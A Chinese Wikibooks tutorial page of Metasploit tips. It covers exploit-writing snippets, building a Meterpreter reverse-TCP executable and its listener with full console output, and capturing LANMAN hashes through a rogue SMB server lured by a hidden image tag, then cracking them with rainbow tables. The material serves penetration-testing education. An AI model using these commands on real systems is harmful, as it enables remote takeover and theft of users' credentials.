跳转至内容

Metasploit/技巧和窍门

来自维基教科书,开放世界中的开放书籍


Metasploit 框架的技巧和窍门


无论是编写漏洞利用程序还是使用 Metasploit 框架,最终用户都可以使用许多技巧。

编写漏洞利用程序

[编辑 | 编辑源代码]
  • 不确定哪些字符可能会被过滤?使用 Rex::text.charset_exclude(badchars) 函数
shellcode = Rex::text.charset_exclude( payload_badchars )
buf[scloc] = shellcode
buf[jmploc] = [ target['Rets'][0] ].pack('V')

将调试器设置为在跳转位置断点,并查看转储中的字符。(添加屏幕截图)

  • 逃避技术最好在验证可利用性后应用。
  • 某些负载可能无法在所有漏洞利用程序中正常工作,在获得执行流程后尝试多个负载。

使用无漏洞利用程序的处理器(可执行负载)

[编辑 | 编辑源代码]

在使用 Metasploit 的过程中,您会需要在没有漏洞利用程序的情况下运行负载。这可以通过使用 multi/handler 漏洞利用程序模块来实现。

步骤 1. 生成您的负载可执行文件

$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X > met-reverse.exe

步骤 2. 启动监听器

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

步骤 3. 运行可执行文件并交互

msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:1060)
 
meterpreter >

本文档包含多个创建和使用独立负载的语法示例。它还包含关于避免防病毒检测的讨论。 http://www.giac.org/certified_professionals/practicals/GCIH/01072.php


LM 半挑战

[编辑 | 编辑源代码]

最初的博客文章在这里 - 使用免费的彩虹表 HALFLMCHALL 表和修改后的 Metasploit 2.7 smb_sniffer 漏洞利用程序模块,获取和破解 LANMAN 挑战从未如此简单。

步骤 1. 使用 Metasploit 2.7(目前)和更新的smb_sniffer.pm 漏洞利用程序模块。这在 Windows 平台上不起作用。

步骤 2. 解压缩 Msf2.7 并将 smb_sniffer.pm 放置在 exploits/ 目录下,替换旧版本。

步骤 3. 设置 Metasploit 并以 root 身份运行。

framework-2.7 $ sudo ./msfconsole
Password:


                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


+ -- --=[ msfconsole v2.7 [161 exploits - 76 payloads]

msf > use smb_sniffer
msf smb_sniffer > show options

Exploit Options
===============

  Exploit:    Name       Default         Description
  --------    -------    ------------    -----------------------------------------------
  optional    KEY        �"3DUfw�        The Challenge key
  optional    PWFILE                     The PWdump format log file (optional)
  optional    LOGFILE    smbsniff.log    The path for the optional log file
  required    LHOST      0.0.0.0         The IP address to bind the SMB service to
  optional    UID        0               The user ID to switch to after opening the port
  required    LPORT      139             The SMB server port

  Target: Targetless Exploit

msf smb_sniffer > set PWFILE=/tmp/pwtest.txt
PWFILE=/tmp/pwtest.txt:
msf smb_sniffer > exploit
[*] Listener created, switching to userid 0
[*] Starting SMB Password Service

步骤 4. 让某人连接到您的服务器。它可以是简单的“dir \\serverip\share”或“<img src=\\serverip\share\file.gif height=0 width=0>”标签,位于某些 HTML 页面上。Windows 将尝试建立连接并将登录用户的凭据发送到您的等待服务器。

步骤 5. 获取您的新 pwtest.txt 文件并将其复制到拥有 HALFLMCHALL 表的 Cain & Able 机器上。

步骤 6. 选择要破解的哈希值,右键单击并选择密码分析攻击 -> HALFLM 哈希值 + 挑战 -> 通过彩虹表,添加表并进行破解!

注意事项

  • 只有 LANMAN 哈希值可以通过这种方式获得。如果客户端拒绝 LM,那么就太可惜了。
  • 表中只有前 7 个字符。您必须暴力破解其余部分(或将哈希值分成两部分,并在每一端添加 AAD3B435B51404EE)。
  • 表总共 54 GB。加载和搜索需要一些时间。
华夏公益教科书